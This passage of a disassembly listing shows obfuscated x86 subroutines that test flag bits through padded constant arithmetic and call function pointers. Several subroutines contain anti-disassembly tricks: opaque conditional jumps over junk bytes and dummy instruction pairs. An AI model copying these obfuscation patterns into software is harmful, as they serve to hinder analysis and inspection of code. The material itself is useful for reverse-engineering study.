		dec	edi
		dec	bl
		dec	bl
		sub	bl, 0Fh
		dec	bl
		dec	bl
		dec	edi
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3CC
		xor	ecx, dword_4ED3D0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49B68A
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49B68A:				; CODE XREF: sub_49B5EE+91j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D24
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49B5EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B69E	proc near		; DATA XREF: sub_4965D8+31Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		test	eax, eax
		jnz	loc_49B7C1
		pop	ebx
		pop	edx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0Dh
		pop	ebx
		jo	short loc_49B784
		jl	short loc_49B782


loc_49B77D:				; CODE XREF: sub_49B69E:loc_49B782j
					; sub_49B69E:loc_49B784j
		jmp	short loc_49B786
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49B782:				; CODE XREF: sub_49B69E+DDj
		jz	short loc_49B77D


loc_49B784:				; CODE XREF: sub_49B69E+DBj
		jmp	short loc_49B77D
; ---------------------------------------------------------------------------


loc_49B786:				; CODE XREF: sub_49B69E:loc_49B77Dj
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 2500h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 17h
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49B7C1
		and	eax, 0
		jmp	short loc_49B7C5
; ---------------------------------------------------------------------------


loc_49B7C1:				; CODE XREF: sub_49B69E+6Dj
					; sub_49B69E+11Cj
		and	eax, 0
		inc	eax


loc_49B7C5:				; CODE XREF: sub_49B69E+121j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED400
		xor	ecx, dword_4ED404
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49B7E8
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49B7E8:				; CODE XREF: sub_49B69E+13Fj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D58
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49B69E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B7FC	proc near		; DATA XREF: sub_4965D8+C68o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	4
		pop	ecx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		and	al, cl
		mov	bh, 0Fh
		and	bl, 0
		dec	bh
		sub	bh, 3
		dec	bh
		sub	bh, 1
		dec	bh
		and	ah, bh
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_49B84F
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49B855
; ---------------------------------------------------------------------------


loc_49B84F:				; CODE XREF: sub_49B7FC+49j
		not	eax
		add	eax, 1
		clc


loc_49B855:				; CODE XREF: sub_49B7FC+51j
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C0
		xor	ecx, dword_4ED3C4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49B87C
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49B87C:				; CODE XREF: sub_49B7FC+75j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D18
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49B7FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B890	proc near		; DATA XREF: sub_4965D8+157o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_49B8B5
		jl	short loc_49B8B3


loc_49B8B0:				; CODE XREF: sub_49B890:loc_49B8B3j
					; sub_49B890:loc_49B8B5j
		jmp	short loc_49B8B7
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_49B8B3:				; CODE XREF: sub_49B890+1Ej
		jz	short loc_49B8B0


loc_49B8B5:				; CODE XREF: sub_49B890+1Cj
		jmp	short loc_49B8B0
; ---------------------------------------------------------------------------


loc_49B8B7:				; CODE XREF: sub_49B890:loc_49B8B0j
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 9
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		jo	short loc_49B8EA
		jl	short loc_49B8E8


loc_49B8E5:				; CODE XREF: sub_49B890:loc_49B8E8j
					; sub_49B890:loc_49B8EAj
		jmp	short loc_49B8EC
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49B8E8:				; CODE XREF: sub_49B890+53j
		jz	short loc_49B8E5


loc_49B8EA:				; CODE XREF: sub_49B890+51j
		jmp	short loc_49B8E5
; ---------------------------------------------------------------------------


loc_49B8EC:				; CODE XREF: sub_49B890:loc_49B8E5j
		mov	bl, 0C5h
		sub	bl, 4
		dec	bl
		dec	bl
		sub	bl, 3
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		jo	short loc_49B917
		jl	short loc_49B915


loc_49B912:				; CODE XREF: sub_49B890:loc_49B915j
					; sub_49B890:loc_49B917j
		jmp	short loc_49B919
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_49B915:				; CODE XREF: sub_49B890+80j
		jz	short loc_49B912


loc_49B917:				; CODE XREF: sub_49B890+7Ej
		jmp	short loc_49B912
; ---------------------------------------------------------------------------


loc_49B919:				; CODE XREF: sub_49B890:loc_49B912j
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F0
		xor	ecx, dword_4ED3F4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49B948
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49B948:				; CODE XREF: sub_49B890+ADj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D48
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49B890	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49B95C	proc near		; DATA XREF: sub_4965D8+7FBo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D98
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		add	ch, 0FFh
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0ADh
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		sub	cl, 11h
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 3
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		dec	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 200h
		inc	dh
		inc	dh
		dec	dh
		inc	dh
		dec	dh
		inc	dh
		inc	dh
		inc	dh
		inc	dh
		dec	dh
		inc	dh
		inc	dh
		dec	dh
		dec	dh
		inc	dh
		inc	dh
		dec	dh
		inc	dh
		inc	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		jo	short loc_49BA37
		jl	short loc_49BA35


loc_49BA32:				; CODE XREF: sub_49B95C:loc_49BA35j
					; sub_49B95C:loc_49BA37j
		jmp	short loc_49BA39
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49BA35:				; CODE XREF: sub_49B95C+D4j
		jz	short loc_49BA32


loc_49BA37:				; CODE XREF: sub_49B95C+D2j
		jmp	short loc_49BA32
; ---------------------------------------------------------------------------


loc_49BA39:				; CODE XREF: sub_49B95C:loc_49BA32j
		jnz	short loc_49BA40
		and	eax, 0
		jmp	short loc_49BA44
; ---------------------------------------------------------------------------


loc_49BA40:				; CODE XREF: sub_49B95C:loc_49BA39j
		and	eax, 0
		inc	eax


loc_49BA44:				; CODE XREF: sub_49B95C+E2j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C8
		xor	ecx, dword_4ED3CC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49BA67
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49BA67:				; CODE XREF: sub_49B95C+100j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D20
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49B95C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BA7B	proc near		; DATA XREF: sub_4965D8+FF3o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 0BDh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		dec	cl
		sub	cl, 3
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		inc	cl
		inc	cl
		inc	cl
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0C00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED410
		xor	ecx, dword_4ED414
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49BB6B
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49BB6B:				; CODE XREF: sub_49BA7B+E5j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D68
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49BA7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BB7F	proc near		; DATA XREF: sub_4965D8+663o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	410h
		pop	ebx
		dec	bh
		dec	bh
		sub	bh, 0FFh
		sub	bh, 2
		dec	bh
		and	ah, bh
		mov	bl, 0Eh
		sub	bl, 4
		dec	bl
		sub	bl, 1
		sub	bl, 1
		sub	bl, 1
		sub	bl, 1
		sub	bl, 1
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_49BBDE
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49BBE4
; ---------------------------------------------------------------------------


loc_49BBDE:				; CODE XREF: sub_49BB7F+55j
		not	eax
		add	eax, 1
		clc


loc_49BBE4:				; CODE XREF: sub_49BB7F+5Dj
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49BBF3
		jl	short loc_49BBF1


loc_49BBEC:				; CODE XREF: sub_49BB7F:loc_49BBF1j
					; sub_49BB7F:loc_49BBF3j
		jmp	short loc_49BBF5
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49BBF1:				; CODE XREF: sub_49BB7F+6Bj
		jz	short loc_49BBEC


loc_49BBF3:				; CODE XREF: sub_49BB7F+69j
		jmp	short loc_49BBEC
; ---------------------------------------------------------------------------


loc_49BBF5:				; CODE XREF: sub_49BB7F:loc_49BBECj
		inc	eax
		dec	eax
		jo	short loc_49BC02
		jl	short loc_49BC00


loc_49BBFB:				; CODE XREF: sub_49BB7F:loc_49BC00j
					; sub_49BB7F:loc_49BC02j
		jmp	short loc_49BC04
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49BC00:				; CODE XREF: sub_49BB7F+7Aj
		jz	short loc_49BBFB


loc_49BC02:				; CODE XREF: sub_49BB7F+78j
		jmp	short loc_49BBFB
; ---------------------------------------------------------------------------


loc_49BC04:				; CODE XREF: sub_49BB7F:loc_49BBFBj
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49BC11
		jl	short loc_49BC0F


loc_49BC0C:				; CODE XREF: sub_49BB7F:loc_49BC0Fj
					; sub_49BB7F:loc_49BC11j
		jmp	short loc_49BC13
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49BC0F:				; CODE XREF: sub_49BB7F+8Bj
		jz	short loc_49BC0C


loc_49BC11:				; CODE XREF: sub_49BB7F+89j
		jmp	short loc_49BC0C
; ---------------------------------------------------------------------------


loc_49BC13:				; CODE XREF: sub_49BB7F:loc_49BC0Cj
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E8
		xor	ecx, dword_4ED3EC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49BC37
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49BC37:				; CODE XREF: sub_49BB7F+ADj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D40
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49BB7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BC4B	proc near		; DATA XREF: sub_4965D8+11B8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 0C0h
		sub	cl, 9
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		dec	cl
		sub	cl, 3
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0C00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED404
		xor	ecx, dword_4ED408
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49BD42
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49BD42:				; CODE XREF: sub_49BC4B+ECj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D5C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49BC4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BD56	proc near		; DATA XREF: sub_4965D8+D78o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DAC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_49BD7B
		jl	short loc_49BD79


loc_49BD76:				; CODE XREF: sub_49BD56:loc_49BD79j
					; sub_49BD56:loc_49BD7Bj
		jmp	short loc_49BD7D
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49BD79:				; CODE XREF: sub_49BD56+1Ej
		jz	short loc_49BD76


loc_49BD7B:				; CODE XREF: sub_49BD56+1Cj
		jmp	short loc_49BD76
; ---------------------------------------------------------------------------


loc_49BD7D:				; CODE XREF: sub_49BD56:loc_49BD76j
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		and	eax, 0
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 12h
		add	cl, 0Bh
		dec	cl
		dec	cl
		jo	short loc_49BDD1
		jl	short loc_49BDCF


loc_49BDCC:				; CODE XREF: sub_49BD56:loc_49BDCFj
					; sub_49BD56:loc_49BDD1j
		jmp	short loc_49BDD3
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49BDCF:				; CODE XREF: sub_49BD56+74j
		jz	short loc_49BDCC


loc_49BDD1:				; CODE XREF: sub_49BD56+72j
		jmp	short loc_49BDCC
; ---------------------------------------------------------------------------


loc_49BDD3:				; CODE XREF: sub_49BD56:loc_49BDCCj
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 40h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		inc	eax
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		pop	ecx
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3DC
		xor	ecx, dword_4ED3E0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49BE24
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49BE24:				; CODE XREF: sub_49BD56+C3j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D34
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49BD56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BE38	proc near		; DATA XREF: sub_4965D8+1020o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DBC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	2
		pop	ebx
		dec	bl
		dec	bl
		and	al, bl
		mov	dh, 0Eh
		and	dl, 0
		sub	dh, 4
		dec	dh
		sub	dh, 1
		and	ah, dh
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_49BE83
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49BE89
; ---------------------------------------------------------------------------


loc_49BE83:				; CODE XREF: sub_49BE38+41j
		not	eax
		add	eax, 1
		clc


loc_49BE89:				; CODE XREF: sub_49BE38+49j
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49BE98
		jl	short loc_49BE96


loc_49BE91:				; CODE XREF: sub_49BE38:loc_49BE96j
					; sub_49BE38:loc_49BE98j
		jmp	short loc_49BE9A
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49BE96:				; CODE XREF: sub_49BE38+57j
		jz	short loc_49BE91


loc_49BE98:				; CODE XREF: sub_49BE38+55j
		jmp	short loc_49BE91
; ---------------------------------------------------------------------------


loc_49BE9A:				; CODE XREF: sub_49BE38:loc_49BE91j
		inc	eax
		dec	eax
		jo	short loc_49BEA7
		jl	short loc_49BEA5


loc_49BEA0:				; CODE XREF: sub_49BE38:loc_49BEA5j
					; sub_49BE38:loc_49BEA7j
		jmp	short loc_49BEA9
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49BEA5:				; CODE XREF: sub_49BE38+66j
		jz	short loc_49BEA0


loc_49BEA7:				; CODE XREF: sub_49BE38+64j
		jmp	short loc_49BEA0
; ---------------------------------------------------------------------------


loc_49BEA9:				; CODE XREF: sub_49BE38:loc_49BEA0j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49BEB8
		jl	short loc_49BEB6


loc_49BEB1:				; CODE XREF: sub_49BE38:loc_49BEB6j
					; sub_49BE38:loc_49BEB8j
		jmp	short loc_49BEBA
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49BEB6:				; CODE XREF: sub_49BE38+77j
		jz	short loc_49BEB1


loc_49BEB8:				; CODE XREF: sub_49BE38+75j
		jmp	short loc_49BEB1
; ---------------------------------------------------------------------------


loc_49BEBA:				; CODE XREF: sub_49BE38:loc_49BEB1j
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3F0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49BEDE
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49BEDE:				; CODE XREF: sub_49BE38+9Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D44
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49BE38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49BEF2	proc near		; DATA XREF: sub_4965D8+938o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_49BF17
		jl	short loc_49BF15


loc_49BF12:				; CODE XREF: sub_49BEF2:loc_49BF15j
					; sub_49BEF2:loc_49BF17j
		jmp	short loc_49BF19
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49BF15:				; CODE XREF: sub_49BEF2+1Ej
		jz	short loc_49BF12


loc_49BF17:				; CODE XREF: sub_49BEF2+1Cj
		jmp	short loc_49BF12
; ---------------------------------------------------------------------------


loc_49BF19:				; CODE XREF: sub_49BEF2:loc_49BF12j
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
